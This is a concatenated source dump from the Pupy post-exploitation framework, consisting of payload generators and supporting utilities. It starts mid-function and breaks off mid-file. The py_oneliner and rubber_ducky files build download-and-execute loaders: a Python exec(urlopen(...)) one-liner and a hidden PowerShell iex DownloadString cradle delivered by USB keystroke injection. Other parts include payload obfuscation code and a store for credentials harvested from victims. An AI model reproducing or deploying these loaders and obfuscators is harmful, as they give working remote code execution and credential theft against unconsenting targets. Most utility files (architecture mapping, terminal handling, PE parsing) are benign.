        output_x86 = pupygen.generate_ps1(display, conf, x86=True, as_str=True)
        ps1_encoded = main_ps1_template.format(b64encode(output_x86))

    display(
        Success('Sending ps1 payload to {0}:{1}'.format(target_ip, bind_port))
    )
    s.sendall(ps1_encoded)
    s.close()

    display(
        Success('ps1 payload sent to target {0}:{1}'.format(
            target_ip, bind_port))
    )


================================================
FILE: pupy/pupylib/payloads/py_oneliner.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root
# of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import os.path
from io import open

from pupy.pupylib.PupyOutput import Success, Warn, Error, List
from pupy.pupylib.utils.obfuscate import compress_encode_obfs
from pupy.pupylib.payloads import dependencies
from pupy.pupylib import ROOT


def getLinuxImportedModules():
    lines = ''

    with open(os.path.join(ROOT, 'conf', 'imports_done.py')) as f:
        lines = f.read()

    return lines


def pack_py_payload(target, display, conf, autostart=True, purepy=True):
    display(Success('Generating PY payload ...'))
    target._purepy = purepy # purepy=True force the use of .py files instead of .pyo
    stdlib = dependencies.importer(
        target, (
            'pyasn1', 'rsa', 'pyaes',
            'netaddr', 'tinyec', 'umsgpack',
            'poster', 'win_inet_pton', 'http_parser',
            'urllib_auth',
        ),
        ignore_native=True, as_dict=True
    )

    stdlib.update(
        dependencies.importer(
            target, (
                'pupy.network', 'pupy.agent'
            ), as_dict=True
        )
    )

    payload = dependencies.bootstrap(
        stdlib, conf, autostart, purepy=purepy) + '\n'

    if target.debug:
        return payload

    return compress_encode_obfs(payload, main=True)


def serve_payload(display, server, payload, link_ip=None):
    if not server:
        display(Error('Oneliners only supported from pupysh'))
        return

    if not server.web_handler_enabled:
        display(Error('Webserver disabled'))
        return

    landing_uri = server.serve_content(payload, alias='py payload')

    display(Warn('Python 3 required'))

    if link_ip is None:
        link_ip = server.address

    display(List([
        "python3 -c 'import urllib.request as r;exec(r.urlopen(\"http://%s:%s%s\").read().decode(\"utf8\"))'" % (
            link_ip, server.web_handler_port, landing_uri
        ),
    ], caption=Success(
        'Copy/paste this one-line loader to deploy pupy '
        'without writing on the disk')
    ))


================================================
FILE: pupy/pupylib/payloads/rubber_ducky.py
================================================
# -*- coding: utf-8 -*-
#Author: @bobsecq
#Contributor(s):

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import subprocess
from io import open

from pupy.pupylib.PupyOutput import Success, Error


class rubber_ducky():
    '''
    '''
    TARGET_OS_MANAGED = ['Windows']
    ENCODE_CMD = "java -jar {0}  -i {1}  -l {2} -o {3}" #{0} encode.jar file, {1} rubber ducky script file, {2} layout file, {3} output file
    WINDOWS_SCRIPT = """DELAY 3000\nGUI r\nDELAY 500\nSTRING powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('http://{0}:{1}/p')"\nENTER"""#{0} ip {1} port

    def __init__(self, display, conf, pupy_conf, link_port=8080, targetOs='Windows'):
        '''
        '''
        self.conf = conf
        i=conf["launcher_args"].index("--host")+1
        self.link_ip = conf["launcher_args"][i].split(":",1)[0]
        self.link_port = link_port
        self.pupy_conf = pupy_conf

        self.__loadRubberDuckyConf__()

        self.rubberDuckyScriptFilename = 'rubberDuckyPayload.txt'
        self.rubberDuckyBinFilename = 'inject.bin'

        self.targetOs = targetOs
        self.display = display
        self.unconfigured = False

        if self.targetOs not in self.TARGET_OS_MANAGED:
            self.display(Error('Target OS ({0}) is not valid. It has to be in {1}'.format(
                targetOs, self.TARGET_OS_MANAGED)))

    def createRubberDuckyScriptForWindowsTarget(self):
        '''
        '''
        with open(self.rubberDuckyScriptFilename, 'wb') as w:
            w.write(self.WINDOWS_SCRIPT.format(self.link_ip, self.link_port))

        self.display(Success('Rubber ducky script file generated in {0}'.format(
            self.rubberDuckyScriptFilename)))

    def generateInjectBinFile(self):
        '''
        returns True if no error
        Otherwise returns False
        '''
        rubberDuckyEncodeCmd = self.ENCODE_CMD.format(self.encoderPath, self.rubberDuckyScriptFilename, self.keyboardLayoutPath, self.rubberDuckyBinFilename)
        try:
            output = subprocess.check_output(rubberDuckyEncodeCmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True)
        except subprocess.CalledProcessError as e:
            self.display(Error('Impossible to generate {0} file with encoder: {1}'.format(
                self.rubberDuckyBinFilename, repr(e.output))))

        except Exception as e:
            self.display(Error('Impossible to generate {0} file with encoder: {1}'.format(
                self.rubberDuckyBinFilename, repr(e))))
            return False

        else:
            self.display(Success('Encoder output: {0}'.format(output)))
            self.display(Success('{0} has been created'.format(repr(self.rubberDuckyBinFilename))))
            return True

    def __loadRubberDuckyConf__(self):
        '''
        '''

        self.encoderPath = self.pupy_conf.get('rubber_ducky', 'encoder_path')
        self.keyboardLayoutPath = self.pupy_conf.get('rubber_ducky', 'default_keyboard_layout_path')

        if self.encoderPath == 'TO_FILL':
            self.unconfigured = True
            self.display(Error('The "encoder_path" value has to be filled in pupy.conf for generating inject.bin'))

        if self.keyboardLayoutPath == 'TO_FILL':
            self.unconfigured = True
            self.display(Error(
                'The "default_keyboard_layout_path" value has to be filled in pupy.conf '
                'for generating inject.bin'))

    def generateAllForOStarget(self):
        '''
        '''

        if self.targetOs == 'Windows' and not self.unconfigured:
            from .ps1_oneliner import serve_ps1_payload

            self.createRubberDuckyScriptForWindowsTarget()
            self.generateInjectBinFile()

            self.display(Success('copy/paste inject.bin file on USB rubber ducky device'))
            self.display(Success(
                'You should not pay attention to the following message '
                '(powershell command). This powershell command is embedded in '
                'the inject.bin file generated'))

            serve_ps1_payload(self.display, self.conf, link_ip=self.link_ip)


================================================
FILE: pupy/pupylib/utils/__init__.py
================================================


================================================
FILE: pupy/pupylib/utils/arch.py
================================================
# -*- coding: utf-8 -*-

import platform
import sys


def make_os_arch(os_arch):
    substitute = {
        'x86_64': 'amd64',
        'i386': 'x86',
        'i686': 'x86',
        'i486': 'x86',
        'armv7l': 'armhf'
    }

    return substitute.get(os_arch, os_arch)


def make_template_arch(os_arch):
    substitute = {
        'x86_64': 'x64',
        'amd64': 'x64',
        'i386': 'x86',
        'i686': 'x86',
        'i486': 'x86',
        'armv7l': 'armhf'
    }

    return substitute.get(os_arch, os_arch)


def make_proc_arch(os_arch, proc_arch):
    os_arch = make_os_arch(os_arch)

    os_arch_to_platform = {
        'amd64': 'intel',
        'x86': 'intel',
        'i86pc': 'sun-intel',
        'armhf': 'armhf',
        'aarch64': 'arm',
    }

    os_platform_to_arch = {
        'intel': {
            '32bit': 'x86',
            '64bit': 'amd64'
        },
        'sun-intel': {
            # Yes.. Just one arch supported
            # The script is for amd64
            '32bit': 'i86pc',
            '64bit': 'i86pc'
        },
        'armhf': {
            '32bit': 'armhf',
            '64bit': 'armhf'
        },
        'arm': {
            '32bit': 'arm',
            '64bit': 'aarch64'
        }
    }

    if os_arch in os_arch_to_platform:
        return os_platform_to_arch[
            os_arch_to_platform[os_arch]
        ][proc_arch]
    else:
        return proc_arch


def is_native(os_arch, proc_arch, pyver):
    target_pymaj, target_pymin = pyver[:2]
    local_pymaj, local_pymin = sys.version_info[:2]

    target_arch = make_proc_arch(os_arch, proc_arch)
    local_arch = platform.machine()

    return all(target == local for target, local in zip([
        target_pymaj, target_pymin, target_arch
    ], [
        local_pymaj, local_pymin, local_arch
    ]))

def same_as_local_arch(os_arch, proc_arch):
    target_arch = make_proc_arch(os_arch, proc_arch)
    local_arch = make_os_arch(platform.machine())
    local_os = sys.platform.lower()
    if local_os=="win32":
        local_os="windows"
    return all(target == local for target, local in zip([
        target_arch, os_arch
    ], [
        local_arch, local_os
    ]))


================================================
FILE: pupy/pupylib/utils/common.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import os

def getLocalAndroidPath(localFolder, androidID, userName):
    '''
    For Android Only
    Returns the current local path for saving data locally
    Create folder if not exists
    '''
    localPath = os.path.join(localFolder, "{0}-{1}".format(androidID, userName))
    if not os.path.exists(localPath):
        os.makedirs(localPath)
    return localPath


================================================
FILE: pupy/pupylib/utils/credentials.py
================================================
from __future__ import unicode_literals
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import os
import json

from pupy.network.lib.convcompat import (
    ExtendedJsonEncoder, ExtendedJsonDecoder,
    as_unicode_string, as_unicode_string_deep
)

from io import BytesIO

from ..PupyConfig import PupyConfig
from ..PupyCredentials import Encryptor


class EncryptionError(Exception):
    pass


class Credentials(object):
    def __init__(self, client=None, config=None, password=None):
        self.config = config or PupyConfig()
        self.client = client
        self.db = os.path.join(
            self.config.get_folder('creds'),
            'creds.json'
        )

        if Encryptor.initialized() or password:
            self.encryptor = Encryptor.instance(
                password=password, config=self.config)
        else:
            self.encryptor = None

        if not os.path.exists(self.db):
            self._save_db({'creds': []})

    def _save_db(self, data):
        with open(self.db, 'w+') as db:
            if self.encryptor:
                jsondb = json.dumps(data, cls=ExtendedJsonEncoder, indent=4)
                self.encryptor.encrypt(BytesIO(jsondb), db)
            else:
                json.dump(data, db, cls=ExtendedJsonEncoder, indent=4)

    def _db_is_encrypted(self):
        with open(self.db) as db:
            content = db.read(8)
            return content == b'Salted__'

    def _load_db(self):
        if self._db_is_encrypted():
            with open(self.db, 'rb') as db:
                data = BytesIO()
                if self.encryptor:
                    self.encryptor.decrypt(db, data)
                else:
                    raise EncryptionError(
                        'Encrpyted credential storage: {}'.format(self.db)
                    )
                return json.loads(
                    data.getvalue(), cls=ExtendedJsonDecoder
                )
        else:
            with open(self.db, 'r') as db:
                return json.load(db, cls=ExtendedJsonDecoder)

    def add(self, data, cid=None):
        try:
            db = self._load_db()
        except ValueError:
            db = {'creds': []}

        if not cid:
            if not self.client:
                raise ValueError('Client ID (cid) required')

            cid = self.client.node()

        data = as_unicode_string_deep(list(data), fail=False)

        for d in data:
            for k in d:
                if not k.lower() == k:
                    d[k.lower()] = d[k]
                    del d[k]

            if 'credtype' not in d:
                if d.get('password'):
                    d['credtype'] = 'plaintext'
                elif d.get('hash'):
                    d['credtype'] = 'hash'
                elif d.get('key'):
                    d['credtype'] = 'key'
                else:
                    d['credtype'] = 'unknown'

            d['cid'] = cid

        db['creds'] = [
            dict(t) for t in frozenset([
                tuple(d.items()) for d in db['creds'] + data
            ])
        ]

        self._save_db(db)

    def display(self, search=None, is_sorted=False):
        search = as_unicode_string(search)

        data = self._load_db()

        if is_sorted:
            data = sorted(
                data['creds'],
                key=lambda d: d.get('cid', d.get('uid')),
                reverse=True
            )
        else:
            data = sorted(
                data['creds'],
                key=lambda d: d.get('credtype'), reverse=True
            )

        if not data:
            return

        for creds in data:
            creds = {k.lower(): v for k, v in creds.items()}

            c = {
                'category': creds['category'],
                'cid': creds.get('cid', creds.get('uid')),
                'credtype': creds.get('credtype'),
                'login': '',
                'secret': '',
                'resource': ''
            }

            if 'login' in creds:
                c['login'] = creds['login']
                if 'domain' in creds:
                    c['login'] = '%s\\%s' % (creds['domain'], c['login'])
            elif 'sid' in creds:
                c['login'] = 'SID: %s' % creds['sid']
            elif 'ssid' in creds:
                c['login'] = 'SSID: %s' % creds['ssid']
            elif 'user' in creds:
                c['login'] = creds['user']
            elif 'id' in creds:
                c['login'] = creds['id']
            elif 'label' in creds:
                c['login'] = creds['label']
            elif 'service' in creds:
                c['login'] = creds['service']
            elif 'defaultpassword' in creds:
                c['login'] = 'DefaultPassword'
            elif 'username' in creds:
                c['login'] = creds['username']

            if 'password' in creds:
                c['secret'] = creds['password']
            elif 'hash' in creds:
                c['secret'] = creds['hash']
            elif 'key' in creds:
                c['secret'] = creds['key']
            elif 'defaultpassword' in creds:
                c['secret'] = creds['defaultpassword']

            if 'url' in creds:
                c['resource'] = creds['url']
            elif 'host' in creds:
                c['resource'] = creds['host']
                if 'port' in creds:
                    c['resource'] += ':{}'.format(creds['port'])
            elif 'process' in creds:
                c['resource'] = creds['process']
            elif 'hub' in creds:
                c['resource'] = creds['hub']
            elif 'cmd' in creds:
                c['resource'] = creds['cmd']
            elif 'domain' in creds and 'file' in creds:
                c['resource'] = creds['domain']

            # check if in the research
            found = True

            if search:
                found = False
                for value in c.values():
                    if search.lower() in value.lower():
                        found = True
                        break

            # print only data with password and remove false positive
            if not found:
                continue

            yield c

    def remove(self):
        if os.path.exists(self.db):
            os.remove(self.db)


================================================
FILE: pupy/pupylib/utils/downloader.py
================================================
#!/usr/bin/env python
# -*- coding: UTF8 -*-

import requests
import shutil
from tqdm.auto import tqdm

def download(url, to):
    with requests.get(url, stream=True) as r:
        print(r)
        print(dir(r))
        total_length = int(r.headers.get("Content-Length"))
        with tqdm.wrapattr(r.raw, "read", total=total_length, desc="")as raw:
            with open(to, 'wb')as output:
                shutil.copyfileobj(raw, output)


================================================
FILE: pupy/pupylib/utils/jarsigner.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from M2Crypto import X509, EVP, RSA, BIO, m2

from zipfile import ZipFile, ZIP_DEFLATED
from hashlib import sha1
from base64 import b64encode

def jarsigner(pem_priv, pem_cert, apk_path, dest_fileobj):
    pk = EVP.PKey()

    if not isinstance(pem_priv, bytes):
        pem_priv = pem_priv.encode('utf-8')

    if not isinstance(pem_cert, bytes):
        pem_cert = pem_cert.encode('utf-8')

    pk.assign_rsa(RSA.load_key_string(pem_priv))
    cert = X509.load_cert_string(pem_cert)

    MANIFEST_MF = \
      'Manifest-Version: 1.0\r\n' \
      'Created-By: 9.0.4 (Oracle Corporation)\r\n' \
      '\r\n'

    SHA1_MAIN_ATTRIBUTES = b64encode(sha1(MANIFEST_MF).digest())

    SIGNER_SF = ''

    with ZipFile(apk_path) as infile:
        with ZipFile(dest_fileobj, "w", ZIP_DEFLATED) as outfile:
            for name in infile.namelist():
                if name.startswith('META-INF'):
                    continue

                content = infile.read(name)
                digest = sha1(content)
                outfile.writestr(name, content)

                manifest_record = 'Name: {}\r\nSHA1-Digest: {}\r\n\r\n'.format(
                    name, b64encode(digest.digest())
                )

                MANIFEST_MF += manifest_record

                sf_record = 'Name: {}\r\nSHA1-Digest: {}\r\n\r\n'.format(
                    name, b64encode(sha1(manifest_record).digest())
                )

                SIGNER_SF += sf_record

            SIGNER_SF = \
              'Signature-Version: 1.0\r\n' \
              'Created-By: 9.0.4 (Oracle Corporation)\r\n' \
              'SHA1-Digest-Manifest: {}\r\n' \
              'SHA1-Digest-Manifest-Main-Attributes: {}\r\n'\
              '\r\n'.format(
                  b64encode(sha1(MANIFEST_MF).digest()),
                  SHA1_MAIN_ATTRIBUTES
            ) + SIGNER_SF

            outfile.writestr('META-INF/MANIFEST.MF', MANIFEST_MF)
            outfile.writestr('META-INF/SIGNER.SF', SIGNER_SF)

            buf = BIO.MemoryBuffer(SIGNER_SF)
            sign = BIO.MemoryBuffer()

            p7 = m2.pkcs7_sign0(
                cert._ptr(), pk._ptr(),
                buf._ptr(), m2.sha1(), m2.PKCS7_DETACHED | m2.PKCS7_NOATTR)
            m2.pkcs7_write_bio_der(p7, sign._ptr())
            m2.pkcs7_free(p7)

            outfile.writestr('META-INF/SIGNER.RSA', sign.read())


================================================
FILE: pupy/pupylib/utils/listener.py
================================================
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import netifaces
import logging

from netaddr import IPAddress, AddrFormatError
from pupy.network.lib.online import external_ip

LISTENER_IP_EXTERNAL = None
LISTENER_IP_LOCAL = None


def get_listener_port(config, external=False):
    port = None
    if external:
        port = config.get('pupyd', 'external_port')

    if not port:
        port = config.get('pupyd', 'port')

    if not port:
        port = 443

    return int(port)


def get_listener_ip_with_local(cache=True, external=False, config=None, igd=None):
    '''
    Returns connectable external IP address
    '''

    global LISTENER_IP_EXTERNAL, LISTENER_IP_LOCAL

    if LISTENER_IP_LOCAL and cache and not external:
        return LISTENER_IP_LOCAL, True

    if LISTENER_IP_EXTERNAL and cache and external:
        return LISTENER_IP_EXTERNAL, False

    if not LISTENER_IP_EXTERNAL and config:
        try:
            LISTENER_IP_EXTERNAL = config.getip('pupyd', 'external')
        except AddrFormatError:
            LISTENER_IP_EXTERNAL = None

        if not LISTENER_IP_EXTERNAL and config.getboolean(
            'pupyd', 'allow_requests_to_external_services'
        ):
            if igd and igd.available:
                try:
                    LISTENER_IP_EXTERNAL = str(IPAddress(
                        igd.GetExternalIP()['NewExternalIPAddress']))
                except Exception as e:
                    logging.warning('IGD Exception: %s', e)

            if not LISTENER_IP_EXTERNAL:
                ipv6 = config.getboolean('pupyd', 'ipv6')

                LISTENER_IP_EXTERNAL = external_ip(force_ipv4=not ipv6)

        if not LISTENER_IP_EXTERNAL and igd and igd.available:
            logging.warning('Failed to find out external IP')

    if not LISTENER_IP_LOCAL and config:
        LISTENER_IP_LOCAL = config.getip('pupyd', 'address')

    ifaces = []

    if not LISTENER_IP_LOCAL:
        try:
            ifaces = [
                x for x in netifaces.interfaces() if not x.startswith(
                    ('lo', 'docker')
                )
            ]

            for anInt in ifaces:
                addresses = netifaces.ifaddresses(anInt)
                if netifaces.AF_INET not in addresses:
                    continue

                ipaddr = addresses[netifaces.AF_INET][0]
                if 'addr' not in ipaddr:
                    continue

                addr = ipaddr['addr']
                if addr not in ('127.0.0.1', '0.0.0.0'):
                    LISTENER_IP_LOCAL = addr
                    break

        except Exception as e:
            logging.debug('Exception during interfaces enumeration: %s', e)
            return None

    if not external and LISTENER_IP_LOCAL:
        return LISTENER_IP_LOCAL, True

    if external and LISTENER_IP_EXTERNAL:
        return LISTENER_IP_EXTERNAL, False

    if LISTENER_IP_EXTERNAL:
        return LISTENER_IP_EXTERNAL, False

    if LISTENER_IP_LOCAL:
        return LISTENER_IP_LOCAL, True

def get_listener_ip(cache=True, external=False, config=None, igd=None):
    return get_listener_ip_with_local(cache, external, config, igd)[0]


================================================
FILE: pupy/pupylib/utils/obfuscate.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file
# at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import zlib

from pupy.pupylib.PupyCompile import pupycompile


# FIXME

def compress_encode_obfs(code, main=False, py=True):
    if py:
        # compatible version without compiling bytecode
        data = zlib.compress(code.encode('utf8'), 9)
        formatted = '('
        for i in range(0, len(data), 100):
            formatted+="%s\n"%repr(data[i:i+100])
        formatted += ")"
        return 'import zlib;exec(zlib.decompress(%s).decode("utf8"))'%formatted
    else:
        return 'import zlib,marshal;exec(marshal.loads(zlib.decompress(%s)))' % repr(
            zlib.compress(pupycompile(code, main=main, raw=True), 9)
        )


================================================
FILE: pupy/pupylib/utils/pe.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import pefile


def get_pe_arch(*args, **kwargs):
    pe = None
    if args:
        pe = pefile.PE(args[0], fast_load=True)
    elif "data" in kwargs:
        pe = pefile.PE(data=kwargs["data"], fast_load=True)
    else:
        raise NameError("at least a path or data must be supplied to get_arch")
    if pe.OPTIONAL_HEADER.Magic == 0x010b:
        return "32bit"
    elif pe.OPTIONAL_HEADER.Magic == 0x020b:
        return "64bit"
    else:
        return "UNKNOWN"


def is_dotnet_bin(*args):
    pe = pefile.PE(args[0], fast_load=True)
    is_dotnet = pe.OPTIONAL_HEADER.DATA_DIRECTORY[14]
    if is_dotnet.VirtualAddress == 0 and is_dotnet.Size == 0:
        return False
    else:
        return True


================================================
FILE: pupy/pupylib/utils/rpyc_utils.py
================================================
# -*- coding: utf-8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import json
import zlib
import umsgpack

from contextlib import contextmanager

from pupy.network.lib.rpc.utils.helpers import restricted


def safe_obtain(proxy):
    """ safe version of rpyc's rpyc.utils.classic.obtain, without using pickle. """

    try:
        conn = object.__getattribute__(proxy, "____conn__")()
    except AttributeError:
        ptype = type(proxy)

        if type(proxy) in (tuple, list, set):
            return ptype([
                safe_obtain(x) for x in proxy
            ])

        return proxy

    if conn.is_extended():
        # No need to call obtain
        return proxy

    if not hasattr(conn, 'obtain'):
        try:
            setattr(conn, 'obtain', conn.root.msgpack_dumps)
            setattr(conn, 'is_msgpack_obtain', True)
        except:
            # Fallback, compat only
            setattr(conn, 'obtain', conn.root.json_dumps)
            setattr(conn, 'is_msgpack_obtain', False)

    data = conn.obtain(proxy, compressed=True)
    data = zlib.decompress(data)

    if conn.is_msgpack_obtain:
        data = umsgpack.loads(data)
    else:
        try:
            data = data.decode('utf-8')
        except:
            data = data.decode('latin1')

        data = json.loads(data) # should prevent any code execution

    return data

def obtain(proxy):
    return safe_obtain(proxy)

@contextmanager
def redirected_stdo(module, stdout=None, stderr=None):
    ns = module.client.conn.namespace
    if stdout is None:
        stdout = module.stdout
    if stderr is None:
        stderr = module.stdout

    try:
        ns['redirect_stdo'](
            restricted(
                stdout, ['softspace', 'write', 'flush']),
            restricted(
                stderr, ['softspace', 'write', 'flush']))

        module.client.conn.register_remote_cleanup(ns['reset_stdo'])

        yield

    finally:
        ns['reset_stdo']()
        module.client.conn.unregister_remote_cleanup(ns['reset_stdo'])

@contextmanager
def redirected_stdio(module, stdout=None, stderr=None):
    r"""
    Redirects the other party's ``stdin``, ``stdout`` and ``stderr`` to
    those of the local party, so remote IO will occur locally.

    Example usage::

        with redirected_stdio(conn):
            conn.modules.sys.stdout.write("hello\n")   # will be printed locally

    """

    ns = module.client.conn.namespace

    stdin = sys.stdin

    if stdout is None:
        stdout = module.stdout
    if stderr is None:
        stderr = module.stdout

    try:
        ns['redirect_stdio'](
            restricted(
                stdin, ['softspace', 'write', 'readline', 'encoding', 'close']),
            restricted(
                stdout, ['softspace', 'write', 'readline', 'encoding', 'close']),
            restricted(
                stderr, ['softspace', 'write', 'readline', 'encoding', 'close']))

        module.client.conn.register_remote_cleanup(ns['reset_stdio'])

        yield

    finally:
        ns['reset_stdio']()
        module.client.conn.unregister_remote_cleanup(ns['reset_stdio'])


================================================
FILE: pupy/pupylib/utils/term.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import random
import os
import struct
import platform
import re
import locale

import fcntl
import termios

import hexdump

from pygments import highlight
from pygments.formatters import TerminalFormatter
from pygments.lexers.hexdump import HexdumpLexer

from pupy.pupylib.PupyOutput import (
    Hint, Text, NewLine, Title, MultiPart, Indent, Color,
    TruncateToTerm, Error, Log, Warn, Success, Info,
    ServiceInfo, Section, Line, List, Table, Hex, Pygment
)

DEFAULT_MULTIBYTE_CP = 'utf-8'

_default_locale = locale.getdefaultlocale()
if _default_locale:
    import codecs

    try:
        _, coding = _default_locale
        if coding.lower() not in ('posix', 'c', ''):
            codecs.getdecoder(coding)
            DEFAULT_MULTIBYTE_CP = coding
    except LookupError:
        pass

FALLBACK_MULTIBYTE_CP = 'latin-1'


if sys.version_info.major > 2:
    import _io

    class AnyIOWrapper(object):
        __slots__ = ('fileobj', 'softspace')

        def __init__(self, pyfile):
            self.softspace = getattr(pyfile, 'softspace', 0)
            self.fileobj = os.fdopen(
                pyfile.fileno(), 'ab', 0
            )

        def fileno(self):
            return self.fileobj.fileno()

        def write(self, data):
            if isinstance(data, bytes):
                return self.fileobj.write(data)
            elif isinstance(data, str):
                return self.fileobj.write(
                    data.encode(DEFAULT_MULTIBYTE_CP)
                )

            return 0

        def flush(self):
            pass

    def fix_stdout(stdout):
        if isinstance(stdout, _io.TextIOWrapper):
            return AnyIOWrapper(stdout)

        return stdout

    xrange = range
    unicode = str

else:
    def fix_stdout(stdout):
        return stdout


def from_bytes(value, errors=None):
    if errors is not None:
        return value.decode(DEFAULT_MULTIBYTE_CP, errors=errors)
    else:
        try:
            return value.decode(DEFAULT_MULTIBYTE_CP)
        except UnicodeError:
            return value.decode(FALLBACK_MULTIBYTE_CP)


def to_bytes(value):
    if isinstance(value, bytes):
        return value

    elif isinstance(value, unicode):
        return value.encode(DEFAULT_MULTIBYTE_CP)

    else:
        return unicode(value).encode(DEFAULT_MULTIBYTE_CP)


PYGMENTS_STYLE = 'native'

ESC_REGEX = re.compile(
    br'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])'
)

COLORS = {
    'blue': b'\033[34m',
    'lightblue': b'\033[34;1m',
    'red': b'\033[31m',
    'lightred': b'\033[31;1m',
    'green': b'\033[32m',
    'lightgreen': b'\033[32;1m',
    'yellow': b'\033[33m',
    'lightyellow': b'\033[1;33m',
    'magenta': b'\033[35m',
    'lightmagenta': b'\033[1;35m',
    'cyan': b'\033[36m',
    'grey': b'\033[37m',
    'darkgrey': b'\033[1;30m',
    'white': b'\033[39m',
}

NO_COLOR = b'\033[0m'

SHADOW_SCREEN_TO = b'\033[?1049h\033[2J\033[1;1H'
SHADOW_SCREEN_FROM = b'\033[?1049l'

RESET = b'\033g\033c\033r\033m'

CUR_LEFT = b'\033[0G'
CUR_UP = b'\033[A'
CUR_DOWN = b'\033[E'
CUR_RIGHT = b'\033[C'
DEL_RIGHT = b'\033[0K'
DEL_ALL = b'\033[2K'

STOR_CUR = b'\033[s'
LOAD_CUR = b'\033[u'


# https://gist.githubusercontent.com/jtriley/1108174/raw/6ec4c846427120aa342912956c7f717b586f1ddb/terminalsize.py
def consize(file=None):
    """ getTerminalSize()
     - get width and height of console
     originally retrieved from:
     http://stackoverflow.com/questions/566746/how-to-get-console-window-width-in-python
    """
    current_os = platform.system()
    tuple_xy = None
    if current_os == 'Windows':
        tuple_xy = _size_windows(file)

    if current_os in ['Linux', 'Darwin'] or current_os.startswith('CYGWIN'):
        tuple_xy = _size_linux(file)

    return tuple_xy or (None, None)


def _size_windows(file=None):
    try:
        from ctypes import windll, create_string_buffer
        h = windll.kernel32.GetStdHandle(-12)
        csbi = create_string_buffer(22)
        res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)
        if res:
            (bufx, bufy, curx, cury, wattr,
             left, top, right, bottom,
             maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw)
            sizex = right - left + 1
            sizey = bottom - top + 1
            return sizex, sizey
    except:
        pass


def _size_linux(file=None):
    def ioctl_GWINSZ(fd):
        try:
            import fcntl
            import termios
            cr = struct.unpack(
                'hh',
                fcntl.ioctl(fd, termios.TIOCGWINSZ, '1234'))
            return cr
        except:
            pass

    if file:
        cr = ioctl_GWINSZ(file.fileno())
    else:
        cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)
        if not cr:
            try:
                fd = os.open(os.ctermid(), os.O_RDONLY)
                cr = ioctl_GWINSZ(fd)
                os.close(fd)
            except:
                pass

    if not cr:
        try:
            cr = (os.environ['LINES'], os.environ['COLUMNS'])
        except:
            return None

    return int(cr[1]), int(cr[0])


def colorize(text, color, prompt=False):
    to_str = False
    color = color.lower()

    if not isinstance(text, bytes):
        to_str = True

        text = text.encode(DEFAULT_MULTIBYTE_CP)

    if color == 'random':
        color = random.choice(COLORS)

    ccode = COLORS.get(color)

    if ccode:
        ncode = NO_COLOR

        if prompt:
            ccode = b'\001' + ccode + b'\002'
            ncode = b'\001' + ncode + b'\002'

        text = b''.join([ccode, text, ncode])

    if to_str:
        text = text.decode(DEFAULT_MULTIBYTE_CP)

    return text


def terminal_size():
    h, w, hp, wp = struct.unpack(
        'HHHH',
        fcntl.ioctl(
            0, termios.TIOCGWINSZ,
            struct.pack('HHHH', 0, 0, 0, 0)
        )
    )

    return w, h


def remove_esc(s, coding=DEFAULT_MULTIBYTE_CP):
    encode = False

    if not isinstance(s, bytes):
        encode = True
        s = s.decode(DEFAULT_MULTIBYTE_CP)

    s = ESC_REGEX.sub(b'', s)

    if encode:
